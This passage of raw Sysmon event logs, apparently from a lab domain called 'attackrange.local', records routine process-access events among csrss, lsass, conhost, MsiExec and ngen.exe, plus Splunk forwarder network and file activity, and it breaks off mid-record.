14:43:45.022{7BD73061-6F21-613B-AE07-00000000F001}63045424C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-AD07-00000000F001}5436c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.022{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-AE07-00000000F001}6304C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.006{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-AD07-00000000F001}5436c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.006{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-AD07-00000000F001}5436c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.006{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-AB07-00000000F001}1368c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.006{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-AB07-00000000F001}1368c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000013771Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:44.506{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50108-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013770Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:46.457{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFC2B4F40E29F472640948377197FF59,SHA256=25B670FE25CA11D8257400330C6B3FE21BCC732CEA7F2D415EF5F8D9DD9A9EFF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.979{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0E08-00000000F001}6476C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.979{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0D08-00000000F001}6924c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.979{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0D08-00000000F001}6924c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.963{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0B08-00000000F001}1140c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.963{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0B08-00000000F001}1140c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.948{7BD73061-6F22-613B-0C08-00000000F001}55201016C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0B08-00000000F001}1140c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.948{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0C08-00000000F001}5520C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.948{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0B08-00000000F001}1140c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.948{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0B08-00000000F001}1140c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.932{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0908-00000000F001}6280c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.932{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0908-00000000F001}6280c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.916{7BD73061-6F22-613B-0A08-00000000F001}61482596C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0908-00000000F001}6280c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.901{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0A08-00000000F001}6148C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.901{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0908-00000000F001}6280c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.901{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0908-00000000F001}6280c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.885{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0708-00000000F001}6512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.885{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0708-00000000F001}6512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.869{7BD73061-6F22-613B-0808-00000000F001}59125772C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0708-00000000F001}6512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.869{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0808-00000000F001}5912C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.869{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-0708-00000000F001}6512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.854{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-0708-00000000F001}6512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.854{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0508-00000000F001}1660c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.854{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-0508-00000000F001}1660c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.838{7BD73061-6F22-613B-0608-00000000F001}28926240C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-0508-00000000F001}1660c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 